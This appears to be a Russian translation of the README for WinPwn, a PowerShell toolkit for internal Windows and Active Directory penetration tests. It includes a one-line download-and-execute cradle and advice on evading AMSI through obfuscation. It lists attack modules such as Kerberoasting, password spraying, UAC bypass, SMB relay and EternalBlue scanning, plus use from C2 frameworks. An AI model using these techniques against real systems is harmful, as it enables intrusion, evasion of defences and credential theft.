Автоматизация для внутреннего тестирования на проникновение Windows / безопасности Active Directory
Во многих прошлых внутренних тестах на проникновение у меня часто возникали проблемы с существующими скриптами PowerShell для разведки / эксплуатации из-за отсутствия поддержки прокси. Я также часто запускал одни и те же скрипты один за другим, чтобы получить информацию о текущей системе и/или домене. Чтобы автоматизировать как можно больше процессов внутреннего пентеста (разведки и эксплуатации) и по причинам, связанным с прокси, я написал свой собственный скрипт с автоматическим распознаванием и интеграцией прокси. Скрипт в основном основан на известных крупных проектах других специалистов по безопасности на PowerShell.
Любые предложения, отзывы, запросы на включение изменений и комментарии приветствуются!
Просто импортируйте модуль с помощью:
Import-Module .\WinPwn.ps1 или
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Чтобы обойти AMSI, используйте один из существующих методов обхода, найдите триггер AMSI и вручную измените его в функции обхода или закодируйте строку триггера. В качестве альтернативы обфусцируйте весь скрипт.
Если вы застряли в системе Windows без доступа к интернету — это не проблема, просто используйте Offline_Winpwn.ps1, наиболее важные скрипты и исполняемые файлы уже включены.
Функции, доступные после импорта:
WinPwn -> Меню для выбора атак:
Inveigh -> Запускает Inveigh в новом окне консоли, интегрированы SMB-Relay атаки с управлением сессиями (Invoke-TheHash)SessionGopher -> Запускает Sessiongopher с запросом параметровKittielocal ->Localreconmodules ->Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder и Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Поиск Snaffler или Passhunt по всем системам доменаGroupsearch -> Get-DomainGPOUserLocalGroupMapping - поиск систем, где у вас есть доступ администратора или RDP через сопоставление групповых политик (Powerview / Powersploit)Kerberoasting -> Запускает Invoke-Kerberoast в новом окне и сохраняет хеши для последующего взломаPowerSQL -> Обнаружение SQL-серверов, проверка доступа с текущим пользователем, аудит на наличие учетных данных по умолчанию + атаки внедрения UNC-путейSharphound -> Отчет Bloodhound 3.0Adidnsmenu -> Создание или удаление узлов DNS, интегрированных в Active DirectoryMS17-10 -> Сканирование активных Windows-серверов в домене или всех систем на уязвимость MS17-10 (Eternalblue)Sharpcradle -> Загрузка C#-файлов с удаленного веб-сервера в RAMDomainPassSpray -> Атаки DomainPasswordSpray, один пароль для всех пользователей доменаBluekeep -> Сканер Bluekeep для систем доменаБез параметров большинство функций можно использовать только из интерактивной оболочки. Поэтому я решил добавить параметры -noninteractive и -consoleoutput, чтобы сделать скрипт пригодным для использования из асинхронных C2-фреймворков, таких как Empire, Covenant, Cobalt Strike и другие.
Дополнительно был добавлен параметр -repo для использования WinPwn со всеми его функциями из локального репозитория. Их можно использовать следующим образом:
Использование:
-noninteractive -> Без вопросов для функций, чтобы они выполнялись с предопределенными или заданными пользователем параметрами
-consoleoutput -> Папки с трофеями/отчетами не создаются. Каждая функция возвращает вывод в консоль, так что вы можете просмотреть все в журналах агента вашего C2-фреймворка. Примеры:
WinPwn -noninteractive -consoleoutput -DomainRecon -> Это запустит каждый скрипт разведки домена и
функцию и, вероятно, даст вам очень много вывода.
WinPwn -noninteractive -consoleoutput -Localrecon -> Это соберет как можно больше информации о локальной
системе.
Generalrecon -noninteractive -> Выполнить основные функции локальной разведки и сохранить вывод
в соответствующих папках.